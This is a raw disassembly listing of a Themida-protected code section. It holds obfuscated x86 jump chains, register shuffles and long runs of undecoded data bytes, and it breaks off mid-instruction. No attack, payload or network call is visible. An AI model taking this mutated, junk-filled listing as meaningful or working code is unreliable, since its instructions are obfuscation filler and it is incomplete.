dd 5C61E968h, 0C3FE0000h, 1D57E9h, 5A665B00h, 0E903E4C0h dd 4255h ; --------------------------------------------------------------------------- loc_502E54: ; CODE XREF: Themida_:0050159Bj xchg edi, ecx not edi xchg edi, ecx jmp loc_50973F ; --------------------------------------------------------------------------- loc_502E5F: ; CODE XREF: Themida_:00508846j add esp, 4 push dword ptr [esp] mov esi, [esp] add esp, 4 add esp, 4 push eax mov eax, esp jmp loc_505BA7 ; --------------------------------------------------------------------------- dw 0E780h dd 2EFC0E9h, 262DE9h db 0 ; --------------------------------------------------------------------------- loc_502E81: ; CODE XREF: Themida_:0050954Dj xor ebp, esi mov esi, [esp] add esp, 4 add ebp, 6AFBC132h or eax, ebp jmp loc_504E0B ; --------------------------------------------------------------------------- dw 0E581h dd 755B74D6h, 0F5C5814Dh, 18BFEEBh, 67E95DE8h, 81000025h dd 7D0FC4C3h, 81D3F713h, 7FA051C3h, 5BDD09F7h, 0BDBED81h dd 0E9012CFEh, 2C1815Dh, 33000000h, 0C31240Ch, 240C3324h dd 6624248Bh, 0E924048Fh, 0FFFFC1E1h ; --------------------------------------------------------------------------- loc_502EE0: ; CODE XREF: Themida_:0050B1FEj pop eax sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], edx mov edx, 7D2C5151h jmp loc_504D3E ; --------------------------------------------------------------------------- loc_502EF8: ; CODE XREF: Themida_:00502FC3j mov ebx, edx jmp loc_50A358 ; --------------------------------------------------------------------------- db 8Bh dd 0C4832404h, 11D86804h, 0C890000h, 3D4B6824h, 24890000h dd 24048124h, 4, 50AE6859h, 4890000h, 0DBCB824h, 0E9533F3Eh dd 7F8Ch, 33241431h, 248B2414h, 243CD224h, 0C17FE99Ch dd 6866FFFFh, 89661548h, 0D8882404h, 0FFD5A2E9h, 5FFA01FFh dd 1256B850h, 0C2293A4Ch, 582434FFh, 4C481h, 0ABE90000h dd 0B8000060h, 39DF1402h, 0E20DED0Dh, 0CEB42D7Ch, 0C6892D2Fh dd 0D2C28158h, 12AE92Ch, 0D2EA81F2h, 5E2AE92Ch, 6E3BBB53h dd 0DBF74C80h, 0C385C381h, 0DA295D1Bh, 4088E9h db 0 ; --------------------------------------------------------------------------- loc_502FA1: ; CODE XREF: Themida_:0050ADBDj xchg eax, [esp] pop esp shr eax, 0Ah xor eax, ecx xor eax, edi xor edi, eax xor eax, edi push 34F7h mov [esp], edi jmp loc_5063CA ; --------------------------------------------------------------------------- loc_502FBD: ; CODE XREF: Themida_:00502194j add edx, 360FA5D9h jmp loc_502EF8 ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] jmp loc_4FF887 ; --------------------------------------------------------------------------- loc_502FDF: ; CODE XREF: Themida_:005003FAj not ebp xchg ebp, [esp] jmp loc_505EBB ; --------------------------------------------------------------------------- loc_502FE9: ; CODE XREF: Themida_:005080FEj mov ecx, [esp] add esp, 4 add ecx, 2A1D2D83h push ecx xor dword ptr [esp], 76B71E46h pop eax push esi mov esi, 76B71E46h xor eax, esi pop esi push dword ptr [esp] push dword ptr [esp] pop ecx push ebx mov ebx, esp push edi mov edi, 4 add ebx, edi pop edi add ebx, 4 xchg ebx, [esp] pop esp push edx jmp loc_50AF33 ; --------------------------------------------------------------------------- db 87h dd 815C2404h, 4C7h, 44ADE900h, 5AD0000h, 2DA2045Eh, 15EAE9h dd 50EE2900h, 5EE1E9h db 0 ; --------------------------------------------------------------------------- loc_503049: ; CODE XREF: Themida_:005027CAj sub esi, 5AD955A5h jmp loc_509C34 ; --------------------------------------------------------------------------- dd 94EA8159h, 13E721Dh, 94C281DAh, 0E93E721Dh, 5E9Ch, 240C8B66h dd 396768h, 24348900h, 4A3DE954h db 2 dup(0) ; --------------------------------------------------------------------------- loc_50307A: ; CODE XREF: Themida_:005073EBj pop esp mov [esp], edi mov edi, 4 jmp loc_503301 ; --------------------------------------------------------------------------- aBSi db ']{*[',0 dw 5800h dd 81E28952h, 4C2h, 0C218E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5030A2: ; CODE XREF: Themida_:005080ADj add edi, edx pop edx xor edi, [esp] xor [esp], edi xor edi, [esp] pop esp popa jmp loc_50A73F ; --------------------------------------------------------------------------- db 31h, 0F0h, 0FFh dd 815E2434h, 4C4h, 0E9C33100h, 2965h, 4C7815Fh, 83000000h dd 65E904C7h, 80000012h, 0E8289DC5h, 67B75359h, 8101EF80h dd 4ECh, 241C8900h, 1246C86h, 6C86D5F6h, 0C05B0124h, 0DFF608E7h dd 8852D7F6h, 88FD88EEh, 0F5865AF7h, 0AAE9C6FEh, 89000067h dd 0BE5658C5h, 61C95580h, 0CFE9F329h, 0BB00001Dh, 4A3E3881h dd 0C381EBD1h, 14CB045Dh, 0FF5BD929h, 555A2434h, 0C5815D54h dd 4, 69F6E9h, 8BD60100h, 1BE92414h, 5FFFFF4h, 4, 4C2368h dd 0C83E900h, 0E1C10000h, 34E18102h, 83131E61h, 8DE901E9h dd 29FFFFCDh, 0DEB81CBh, 5736AB08h, 855AFABFh, 5FFB2947h dd 83240C8Bh, 3AE904C4h, 58FFFFBFh, 3187E9h, 2C38300h dd 31241C33h, 1C33241Ch, 24248B24h, 6602EC83h, 0E9240C89h dd 3BD6h, 0E9243C87h, 0FFFFDB7Ah, 31242C33h, 5DE9242Ch db 46h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5031BB: ; CODE XREF: Themida_:00507061j xor edx, [esp] xor [esp], edx xor edx, [esp] pop esp push dword ptr [esp] jmp loc_509E58 ; --------------------------------------------------------------------------- db 0FFh, 74h, 24h dd 2434FF04h, 0FFFD26E9h, 5DE831FFh, 0E2802A2Dh, 58C529F3h dd 0C15D5A55h, 0EA8103EAh, 2ACC072h, 0FFC25DE9h, 0E9E789FFh dd 0FC3h ; --------------------------------------------------------------------------- loc_5031FC: ; CODE XREF: Themida_:0050B0A5j push 63A76C0Dh mov edi, [esp] add esp, 4 sub edi, 3F794931h shr edi, 6 xor edi, 573E41BCh xor edi, 7C5001DFh shl edi, 7 add edi, 4C18CFDFh jmp loc_508DDA ; --------------------------------------------------------------------------- db 52h, 88h, 0CAh dd 0F6E9D2F6h, 8700001Ch, 248B243Ch, 24040824h, 4D3DE99Ch dd 0E9810000h, 0A8C9DACCh, 447AE9h, 0C8B6600h, 593FE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_50325A: ; CODE XREF: Themida_:0050453Ej pop edx sub [esp+4], ebp pop ebp mov eax, [esp] push ebp push esp jmp loc_50A395 ; --------------------------------------------------------------------------- dw 0EC81h dd 4, 0B9240C89h, 0CB10642h, 159CD31h, 0E8015DE8h, 0B102422Dh dd 2E59E90Ch, 0C3800000h, 0F6E3D0CCh, 5069E9D3h db 2 dup(0) ; --------------------------------------------------------------------------- loc_503296: ; CODE XREF: Themida_:00506206j mov edx, 24A86471h sub esi, edx pop edx add esi, ecx jmp loc_50A1C8 ; --------------------------------------------------------------------------- db 66h, 8Bh, 4 dd 4EC8324h, 16CDE9h, 81E58900h, 4C5h, 3DF1E900h, 3B680000h dd 8900006Ah, 0B7B9240Ch, 0E913F43Ch, 2A13h, 0B8240489h dd 2A3F6172h, 48BC129h, 4C48324h, 7A0CE9h db 0 ; --------------------------------------------------------------------------- loc_5032E5: ; CODE XREF: Themida_:00507E42j sub [esp+4], ecx pop ecx mov eax, [esp] jmp loc_504791 ; --------------------------------------------------------------------------- dw 815Bh dd 4ECh, 240C8900h, 8A3E9h db 0 ; --------------------------------------------------------------------------- loc_503301: ; CODE XREF: Themida_:00503083j add ebx, edi mov edi, [esp] add esp, 4 push esi mov esi, 4 add ebx, esi pop esi xchg ebx, [esp] mov esp, [esp] push edi push esi jmp loc_501E1F ; --------------------------------------------------------------------------- aBuiEbuhAns@ db '#Eh',0Ah db 'n=@',0 align 10h dd 0C2EBEE81h, 0D3E9798Ch, 28FFFFC1h, 0C9B6E9D8h, 0B450FFFFh dd 58E528AEh, 0E8003204h, 5360E9h db 0 ; --------------------------------------------------------------------------- loc_503351: ; CODE XREF: Themida_:00501430j mov edi, 42B5A69h shr edi, 2 add edi, 16804896h sub edi, 27196A08h add edx, edi pop edi add esi, edx pop edx add esi, 4 xor esi, [esp] xor [esp], esi xor esi, [esp] mov esp, [esp] jmp loc_4FF0C1 ; --------------------------------------------------------------------------- dw 3487h dd 89665C24h, 5FB7241Ch, 4BE9F800h, 100006Fh, 5D04246Ch dd 40558h, 81530000h, 4ECh, 242C8900h, 0D03955BDh, 2C4EE963h dd 0E9590000h, 270Fh, 38E9D5B9h, 87BE5671h, 4E4A8744h dd 96E9D6F7h, 5300000Ch, 4CE930B3h db 23h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5033D3: ; CODE XREF: Themida_:005018D9j pop dword ptr [esp] mov esp, [esp] add esp, 4 push ecx mov ecx, esp push edx mov edx, 69C313A5h jmp loc_501181 ; --------------------------------------------------------------------------- dw 8B66h dd 0B068240Ch, 89000043h, 0EC832414h, 0BEB3E904h, 2C87FFFFh dd 0B8505C24h, 4, 48BC301h, 4C48124h, 83000000h, 1C8702C3h dd 4D9E924h, 0FB870000h, 0FB87D7F7h, 74ACB81h, 0F38112A6h dd 40FA2F93h, 6CE9D801h, 5EFFFFEBh, 0FFE756E9h, 24048BFFh dd 0E904C483h, 0FFFFF42Eh, 42474FFh, 24048F5Bh, 3779E9h dd 24040100h, 0DE240481h, 0E9362966h, 0FFFFEC9Bh, 0EB81D3F7h dd 2A90CC14h, 315BDD89h, 3EE95DEEh, 81FFFFFCh, 4C2h, 4C28100h dd 87000000h, 62E92414h, 6800005Ch, 2C8Ah, 89243489h, 4C681E6h dd 0E9000000h, 0FFFFDDF9h, 24048B66h, 4EC81h, 27E90000h dd 81FFFFD0h, 276173F5h, 3511E900h, 0B5E0000h, 7B840FC0h dd 53000020h, 0EC815B54h, 4, 5483E9h, 47BFBE00h, 0A3685DC0h dd 8900003Fh, 1FBD242Ch, 0E913BB7Dh, 16A1h ; --------------------------------------------------------------------------- loc_5034E8: ; CODE XREF: Themida_:00504B21j push dword ptr [edi+24h] push ecx pop dword ptr [edi+24h] pop ecx push 7730h jmp loc_507F34 ; --------------------------------------------------------------------------- loc_5034FA: ; CODE XREF: Themida_:00503F61j pop dword ptr [esp] mov esp, [esp] push edi push esp pop edi push 2699h mov [esp], eax mov eax, 4 jmp loc_5097A2 ; --------------------------------------------------------------------------- aSgq db '[Q',0 dw 2900h dd 24148BD6h, 0C104C483h, 4B6808E6h, 89000005h, 0EC832404h dd 242C8904h, 6A126CBDh, 964EB804h, 0E8015DC5h, 121BE9h dd 17BB5300h, 9302F2Ah, 241C8BDDh, 8104C483h, 0FF2ED5EDh dd 5DEB8933h, 0E95BD929h, 71C4h, 0FFBB58E9h db 0FFh ; --------------------------------------------------------------------------- loc_503569: ; CODE XREF: Themida_:00507F37j mov ebx, esp add ebx, 4 push esi mov esi, 4 sub ebx, esi pop esi xchg ebx, [esp] pop esp mov [esp], edx mov edx, 0FFFFFFFFh jmp loc_50189C ; --------------------------------------------------------------------------- db 0C1h dd 0D1F708E1h, 0D66DBB53h, 0E9812B3Ah, 3A320CF5h, 0C181D901h dd 3A320CF5h, 59CE295Bh, 685EF031h, 2B41h, 0BF243C89h dd 7F63467h, 1626CF81h, 0C4E967F6h, 14h, 685866E3h, 1F28h dd 30BBE9h, 67F28100h, 1C5FA73h, 0C8895AD1h, 0BADFE959h dd 8953FFFFh, 81BE56E3h, 816DCB10h, 0CB1085F6h, 0C0AEE96Dh dd 0F181FFFFh, 59443618h, 2414F751h, 7BB2E959h, 1C890000h dd 51B95124h, 31380632h, 5904244Ch, 0FFD4D0E9h, 5FF831FFh dd 0FEAFE956h, 0C89FFFFh, 4B924h, 0CE010000h, 6CBB5359h dd 814B0521h, 0FADE96C3h, 0FCE1E9B4h, 0E289FFFFh, 1BDEE9h dd 51606800h, 4890000h, 4EC8124h, 89000000h, 0E9552424h dd 4BD7h, 4603FEBBh, 0CB81435Dh, 2E195AFAh, 10CCB81h, 0C14B7428h dd 0F38102EBh, 1FDFD6FBh, 835BDD01h, 2C8704C5h, 4055C24h dd 55000000h, 4E5C6851h, 81596F58h, 584E58F1h, 59CD896Fh dd 2A3AE9h, 81E58900h, 4C5h, 4C58300h, 5C242C87h, 0FFF917E9h dd 2C48BFFFh, 0E95212F5h, 0FFFFBBE8h, 5624148Bh, 0C681E689h dd 4, 220EE9h, 0E9515600h, 499Bh, 138BBA66h, 0E0EB8166h dd 0EB816619h, 1660479h, 2866E9D3h, 55B0000h, 0FFFFFFFFh dd 54266852h, 7FE90A64h db 0E1h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5036FB: ; CODE XREF: Themida_:00509E68j push 7C34h mov [esp], ecx push 5C4CC01Ah pop ecx xor eax, ecx push dword ptr [esp] pop ecx push ebx jmp loc_505EA2 ; --------------------------------------------------------------------------- db 50h, 0B8h, 72h dd 0C17DE36Ah, 0B95108E8h, 733157BFh, 0F5E9C831h db 0E7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50372B: ; CODE XREF: Themida_:005083D9j shr ebp, 4 shr ebp, 4 xor ebp, 72D6B6ACh mov ecx, ebp pop ebp inc ecx shl ecx, 7 push esi mov esi, 11AC52B2h add esi, 19B223A2h and ecx, esi jmp loc_5067FE ; --------------------------------------------------------------------------- db 31h, 3Ch, 24h dd 5C243C33h, 83241489h, 3C8904ECh, 4EC8324h, 17D5E9h dd 2474FF00h, 3A9FE904h, 81590000h, 4C6h, 24343300h, 33243431h dd 248B2434h, 0DF8EE924h, 5452FFFFh, 4E2DE9h, 4C38100h dd 0E9000000h, 96Eh, 69C8E95Ah, 51660000h, 0B917E99Ch dd 2C33FFFFh, 242C3124h, 0F1814159h, 0F5208F14h, 0C8BC801h dd 4C48124h, 0E9000000h, 68CAh, 0C0B60F58h, 87048F66h dd 0FFB8ECE9h, 2BDFFh, 43E90000h, 1000054h, 2CA3E9CEh db 2 dup(0) ; --------------------------------------------------------------------------- loc_5037E6: ; CODE XREF: Themida_:005071F3j mov edx, [esp] add esp, 4 and eax, ebx pop ebx jmp loc_504D9D ; --------------------------------------------------------------------------- aAd2sN db 'aD2N',0 align 2 aPsq db 'Pq^',0 align 4 loc_503804: ; CODE XREF: Themida_:0050853Cj xor ecx, edi pop edi push ebp mov ebp, 0BA288DCEh xor ecx, ebp pop ebp sub [edi+24h], ecx jmp loc_50A937 ; --------------------------------------------------------------------------- dd 5C240487h, 68240C89h, 479Bh, 51241489h, 0DE9C588h, 51FFFFE7h dd 0C74E86B9h, 6E9C101h, 32A8E181h, 31E963BCh, 89000028h dd 0E9522404h, 0FFFFBFECh, 5C24048Fh, 6C15BF57h, 0EF810BC9h dd 0D83296Ch, 2149E9h, 33616800h, 2C890000h, 5EF66824h dd 1C890000h, 7D6D6824h, 0F9E96DA5h, 68000067h, 39D5h dd 89243489h, 0D4E952E6h, 89FFFFBCh, 18B7241Ch, 0E9AEEF80h dd 5FCAh ; --------------------------------------------------------------------------- loc_503898: ; CODE XREF: Themida_:00507B65j sub esp, 4 jmp loc_5076C3 ; --------------------------------------------------------------------------- db 57h dd 0BE56E789h, 4, 90E9F701h, 0AD00000Ch, 9601012Dh, 0EABA525Eh dd 813AA47Fh, 6E6A41C2h, 5DEA8118h, 2900F28Eh, 24148BD0h dd 4C481h, 0D8010000h, 8904EC83h, 47E9243Ch db 2Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5038E3: ; CODE XREF: Themida_:00505EB6j add esp, 4 jmp loc_5002F3 ; --------------------------------------------------------------------------- loc_5038EE: ; CODE XREF: Themida_:005073BEj pop dword ptr [esp] pop esp jmp loc_500C2D ; --------------------------------------------------------------------------- db 8Bh dd 0F7662424h, 1DEE9F1h, 348B0000h, 4C48124h, 57000000h dd 129CE9h, 2474FF00h, 48F5F04h, 0A0E95C24h db 73h, 2 dup(0) ; --------------------------------------------------------------------------- loc_50391F: ; CODE XREF: Themida_:00500267j pop esp mov [esp], eax push ebp sub esp, 4 mov [esp], ecx push eax mov eax, 0BA76398h push esi mov esi, 73C716A6h jmp loc_509351 ; --------------------------------------------------------------------------- db 8Bh dd 0DFE92424h, 68FFFFE9h, 5C68h, 0FF240C89h, 8B042474h dd 5453240Ch, 84B9515Bh, 0F7159743h, 4E1C1D9h, 0F181D1F7h dd 172F5900h, 613BF181h, 0C3814E5Bh, 681A7C0Ah, 4865C381h dd 30E9591Fh db 0C5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50397F: ; CODE XREF: Themida_:00507D91j mov eax, [esp] push ecx mov ecx, esp add ecx, 4 push eax push 4876h mov [esp], edi push ebp jmp loc_507BD5 ; --------------------------------------------------------------------------- aFlSa db 'f,$a-',0 dw 8800h dd 0E9D786EFh, 4116h, 0E9E9D05Bh, 394Bh, 0ECE95452h, 89000069h dd 0A3BB241Ch, 0BA51EA61h, 0CEF20998h, 3DB8C281h, 0EAE9315Fh dd 46h, 99EB80E3h, 0B60F5866h, 87048FC0h, 0FFB6DCE9h, 243487FFh dd 241C895Ch, 265054BBh, 5BEB8127h, 8108CB13h, 192A5EF3h dd 1EB8331h, 4279E381h, 0F3813D11h, 2D000224h, 1C8BD901h dd 4C48124h, 57000000h, 69D7E9h, 0EC81AD00h, 4, 0BF243C89h dd 6F3F05AFh, 116EF82Dh, 0BE57E92Ch, 0D188FFFFh, 0FFC7ACE9h dd 242C87FFh, 6856515Ch, 4B9C0C7Ah, 5724348Bh, 0C781E789h dd 4, 4C781h, 0B4680000h, 8900006Ch, 74FF243Ch, 8F5F0424h dd 248B2404h, 0ECFCE924h, 8359FFFFh, 83E904C5h, 66FFFFF9h dd 2837B652h, 0FF5A66F3h, 815A2434h, 4C4h, 1935E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_503A92: ; CODE XREF: Themida_:00507DF3j add eax, edi pop edi add ecx, 16E3176Ah add ecx, eax sub ecx, 16E3176Ah mov eax, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp jmp loc_502AD2 ; --------------------------------------------------------------------------- dw 0E7C1h dd 0DE01E905h, 5CB8FFFFh, 0E9306771h, 53E1h, 0B5EBE95Ch dd 0AF68FFFFh, 0E900002Ch, 0FFFFE77Eh, 67806866h, 24148966h dd 0E99C5066h, 0FFFFB5D1h ; --------------------------------------------------------------------------- loc_503AF0: ; CODE XREF: Themida_:00505EBCj or esi, 497113FDh jmp loc_508D34 ; --------------------------------------------------------------------------- db 5Ah dd 0FFE99AE9h db 0FFh ; --------------------------------------------------------------------------- loc_503B01: ; CODE XREF: Themida_:00504AB2j pop esp add eax, 3B74608Eh push 31CEh mov [esp], edi push 6CD9h mov [esp], ebx mov ebx, 25E10FD4h jmp loc_50848B ; --------------------------------------------------------------------------- db 31h, 14h, 24h dd 8B241433h, 30FF2424h, 6232E9h, 53575D00h, 7C336855h dd 815D324Ah, 1F22DEC5h, 7E5C152h, 0D9FDF581h, 0EB8933D5h dd 0CA31E95Dh, 0CB81FFFFh, 65EB5060h, 5FC2C381h, 0CB814BE7h dd 36B76219h, 0F63BEB81h, 0BAE9F7F7h db 6Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_503B6F: ; CODE XREF: Themida_:00502970j sub esp, 4 mov [esp], ebx pop edi sub esp, 4 mov [esp], edi mov eax, [esp] add esp, 4 push dword ptr [esp] push dword ptr [esp] pop edi add esp, 4 jmp loc_50A59C ; --------------------------------------------------------------------------- dw 0D301h dd 0E924148Bh, 0FFFFB8B5h, 7472CDB9h, 8BCF290Dh, 0C481240Ch dd 4, 6BA9C781h, 0EFC12AC3h, 0EEC78103h, 5539E15Fh, 307EE9h db 0 ; --------------------------------------------------------------------------- loc_503BC9: ; CODE XREF: Themida_:005056FBj pop ebx push ecx mov ecx, 54007100h add ecx, 0ABFF8F02h sub ebp, 250069Dh jmp loc_501EFE ; --------------------------------------------------------------------------- loc_503BE1: ; CODE XREF: Themida_:00505A15j mov ch, 0CEh sub al, ch mov ecx, [esp] add esp, 4 push dword ptr [esp] mov ebx, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp push edx push esp pop edx add edx, 4 add edx, 4 jmp loc_506BFE ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 2F2AE9h, 5C14BD00h, 0EE31BF05h, 6CA4E95Dh, 8B660000h dd 4368240Ch, 0E9000057h, 0FFFFC502h ; --------------------------------------------------------------------------- loc_503C38: ; CODE XREF: Themida_:00505282j add eax, edi pop edi xchg eax, [esp] pop esp or eax, eax jnz loc_500F99 push eax push edi jmp loc_50A015 ; --------------------------------------------------------------------------- aWsT db 'W~T',0 align 4 dd 8124148Bh, 4C4h, 6B95100h, 1022B1Ah, 0C3E959CAh, 5B000019h dd 619DB850h, 51404616h, 143524B9h, 0E9D1F740h, 0FFFFD80Ah dd 2C281h, 14330000h, 24143124h, 8B241433h, 14E92424h dd 29000028h, 0C3015DEBh, 6AD7E9h, 24248B00h, 9C240430h dd 0FFEEC9E9h, 243C89FFh, 3F05AFBFh, 0C4F0E96Fh, 0EB81FFFFh dd 4, 0FFD6F9E9h, 7D7E68FFh, 148B5D34h, 0E0895024h, 405h dd 4C08300h, 31240433h, 4332404h, 0D0295C24h, 8324148Bh dd 2C8904ECh, 0E9E58924h, 6696h ; --------------------------------------------------------------------------- loc_503CF4: ; CODE XREF: Themida_:00505E9Dj shl ebp, 5 shl ebp, 8 jmp loc_4FFA78 ; --------------------------------------------------------------------------- db 59h dd 2C281h, 0DD680000h, 8900004Fh, 0BAE92414h, 81000029h dd 0EF151AC6h, 0D9F68119h, 21D9E0FCh, 0C00B5EF0h, 0EC45840Fh dd 77FFFFFFh, 2434FF1Ch, 592434FFh, 669EE9h, 24048F00h dd 0E924248Bh, 0FFFFB37Dh, 0FF2434FFh, 0C8B2434h, 4C77E924h dd 895C0000h, 0E954242Ch, 0FFFFE641h, 24048759h, 2C81565Ch dd 42058324h, 24048B31h, 504C483h, 31420583h, 0FFE2E0E9h db 0FFh ; --------------------------------------------------------------------------- loc_503D79: ; CODE XREF: Themida_:00507616j pop dword ptr [esp] pop esp push 7C4Bh mov [esp], ecx jmp loc_5023F5 ; --------------------------------------------------------------------------- dw 0C181h dd 4, 4C181h, 0C870000h, 69A8E924h, 83580000h, 76E904C4h dd 0BF00004Ch, 52711C6Eh, 0FFC81EE9h db 0FFh ; --------------------------------------------------------------------------- loc_503DB1: ; CODE XREF: Themida_:005045B8j mov ebp, 59372BA3h sub ebp, 1 add ebp, 1 push 4502h mov [esp], esi mov esi, 0A6C8D45Eh jmp loc_507574 ; --------------------------------------------------------------------------- db 5Ch, 81h, 0C2h dd 4, 0FFFEA3E9h, 241C89FFh, 7C4E56BBh, 6EBC15Ch, 4B75EB81h dd 0EBC15FCEh, 14B8E908h db 2 dup(0) ; --------------------------------------------------------------------------- loc_503DF6: ; CODE XREF: Themida_:00507BA8j add eax, 4 push esi mov esi, 4 add eax, esi pop esi xchg eax, [esp] pop esp jmp loc_5077BA ; --------------------------------------------------------------------------- loc_503E0D: ; CODE XREF: Themida_:0050A01Aj mov eax, edi jmp loc_500CFD ; --------------------------------------------------------------------------- dd 0EAC1DAF7h, 0F2814A05h, 6D81FCC8h, 0F75AD189h, 86E955D9h dd 5DFFFFF4h, 8106EEC1h, 565352EEh, 6FE8E95Eh, 665C0000h dd 2404A30Fh, 23FE99Ch, 0E2D10000h, 1B951h, 4F010000h dd 1D77E924h, 22680000h, 89000068h, 468240Ch, 0E9000000h dd 0FFFFB498h ; --------------------------------------------------------------------------- loc_503E68: ; CODE XREF: Themida_:00500A63j add al, 0C1h and cl, al pop eax jmp loc_50032F ; --------------------------------------------------------------------------- dw 4BBh dd 1000000h, 0C1835BD9h, 74FF5102h, 0E9590424h, 43C6h ; --------------------------------------------------------------------------- loc_503E88: ; CODE XREF: Themida_:00509D08j xchg ebx, edx xchg edx, edi xchg edi, [esp] jmp loc_50A465 ; --------------------------------------------------------------------------- dd 4EECBB53h, 0D4E963FBh, 58000071h, 2434FF5Bh, 4C48158h dd 4000000h, 0E9F000B0h, 3322h, 1B82C781h, 2D02DBh, 0E96C8868h dd 105Fh, 5708E0C1h, 5801BE56h, 0FEBF2280h, 31DD7FA7h dd 15E95EF7h, 83FFFFCAh, 2C8904ECh, 53E58924h, 4BBh, 8BDD0100h dd 0C481241Ch, 4, 1DA06857h, 1C890000h, 16E9BB24h, 0B9510182h dd 0 dd 0CB89D929h, 0FFEB8359h, 0E908EBC1h, 1DBh, 5BA9F181h dd 0E1814466h, 5A4D4F62h, 7DAE9h, 806EB500h, 0CDFE4DE5h dd 8005EDC0h, 0E800D5F5h, 0BA94E959h, 8950FFFFh, 405E0h dd 0B9510000h, 4, 9E9C801h, 66FFFFFEh, 0E924248Bh, 2182h ; --------------------------------------------------------------------------- loc_503F5C: ; CODE XREF: Themida_:00506D62j pop edx xchg ebp, [esp] pop esp jmp loc_5034FA ; --------------------------------------------------------------------------- aZsgo db 'ZO',0 align 4 dd 24048B66h, 0FFDA23E9h, 4C183FFh, 5C240C87h, 2FBF68h dd 24048900h, 8904EC83h, 0BDBA2414h, 2974E460h, 5A042454h dd 5140478Fh, 0E460BDB9h, 40BB5374h, 1000000h, 5B0B01FBh dd 55240C8Bh, 52ECE9h, 4C28100h, 50000000h, 4B8h, 14E5E900h dd 0A5040000h, 0A6E9162Ch, 87000072h, 815C243Ch, 4C3h dd 2CA4E900h, 0F1810000h, 126C7AA4h, 45B3E9h, 0E99C5000h dd 0FFFFDEF5h, 0B8C1815Eh, 551F250Ah, 963186BDh, 3CE4E97Ah dd 0FF040000h, 3A69E9h, 4EC8100h, 89000000h, 0D9B7241Ch dd 8003CF80h, 0C7FEA5C7h, 0F6ABB652h, 4E6C0D6h, 8041F680h dd 95E914EEh, 51000053h, 0B6B6A5B1h, 6659CE00h, 88F88850h dd 145EE9F7h, 0E95B0000h, 3538h ; --------------------------------------------------------------------------- loc_504044: ; CODE XREF: Themida_:00509CB3j mov ecx, [esp] jmp loc_504121 ; --------------------------------------------------------------------------- dd 4EC81h, 3C890000h, 0AF685524h, 5D58B96Eh, 2CA6E9h, 4CC68100h dd 17BC2BDh, 0C8295EF0h, 42AEE9h, 0A6BB5300h, 81412422h dd 2422A2EBh, 5BDD0141h, 0FFE9D5E9h, 0B037E9FFh, 0C281FFFFh dd 4, 8704C283h, 248B2414h, 2BB5324h, 1000000h, 4875BD8h dd 24248B24h, 66E1F766h, 660FCD68h, 66241489h, 6E99C50h dd 83FFFFB0h, 895004C4h, 405E0h, 42D0000h, 87000000h, 248B2404h dd 240C8924h, 97014FB9h, 71182D5Eh, 232D496Ch, 0E9778F46h dd 0FFFFE8D9h, 0BD04F000h, 0C4E95B2Ch, 87FFFFBEh, 87D6F7F3h dd 14EB81F3h, 89FF0182h, 0FD015BDFh, 32CBE95Fh, 0FF530000h dd 5B042474h, 1E7CE9h db 0 ; --------------------------------------------------------------------------- loc_504115: ; CODE XREF: Themida_:00500341j push ebp sub esp, 4 mov [esp], ebp jmp loc_50AABD ; --------------------------------------------------------------------------- loc_504121: ; CODE XREF: Themida_:00504047j push esi jmp loc_506482 ; --------------------------------------------------------------------------- db 0BEh dd 4, 0FFB8B9E9h db 0FFh ; --------------------------------------------------------------------------- loc_504131: ; CODE XREF: Themida_:00504D43j add esi, 7D2C5151h jmp loc_5076B1 ; --------------------------------------------------------------------------- dd 5EF1015Ah, 5C240C87h, 81E78957h, 4C7h, 4BE5600h, 1000000h dd 24348BF7h, 4C481h, 3C330000h, 243C3124h, 5C243C33h dd 9C240409h, 0FFAF50E9h db 0FFh ; --------------------------------------------------------------------------- loc_504171: ; CODE XREF: Themida_:004FFF61j and eax, ebx push dword ptr [esp] pop ebx jmp loc_501C8B ; --------------------------------------------------------------------------- dd 241C8B66h, 2C481h, 0A8E90000h, 0AC00002Bh, 45B652h dd 1B045AF0h, 0FD8FE951h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50419A: ; CODE XREF: Themida_:0050887Dj push eax push esp pop eax add eax, 4 add eax, 4 xchg eax, [esp] pop esp xor ecx, 2DA179D4h mov eax, ecx pop ecx push esi mov esi, 84326E2h jmp loc_504331 ; --------------------------------------------------------------------------- db 81h dd 4C7h, 4C78100h, 57000000h, 42474FFh, 24048F5Fh, 0E689565Ch dd 2FFE68h, 24048900h, 5143C0B8h, 7CE94828h, 83000057h dd 0EC8104C4h, 4, 36F1E9h db 0 ; --------------------------------------------------------------------------- loc_5041F9: ; CODE XREF: Themida_:00504D31j or ebp, 26B319A2h xor ebp, 4F0A3FD3h shr ebp, 3 jmp loc_505863 ; --------------------------------------------------------------------------- loc_50420D: ; CODE XREF: Themida_:0050A2D9j add edx, ebx mov ebx, [esp] add esp, 4 xchg edx, [esp] pop esp push ecx mov ch, dl mov [edi+eax*4+1], ch jmp loc_50A918 ; --------------------------------------------------------------------------- db 57h, 89h, 0E7h dd 4C781h, 0C7810000h, 4, 5C243C87h, 6D11E957h, 814F0000h dd 2C3FE9E7h, 0EE95546h db 0AFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50424B: ; CODE XREF: Themida_:005007A9j add esp, 4 push 4BCEh mov [esp], eax push eax jmp loc_501115 ; --------------------------------------------------------------------------- loc_50425C: ; CODE XREF: Themida_:00501592j mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push eax mov eax, 4 add esi, eax pop eax push eax mov eax, 0D5A47DBh sub eax, 0D5A47D9h add esi, eax pop eax jmp loc_508B6A ; --------------------------------------------------------------------------- loc_504287: ; CODE XREF: Themida_:00504364j shr ecx, 4 add ecx, 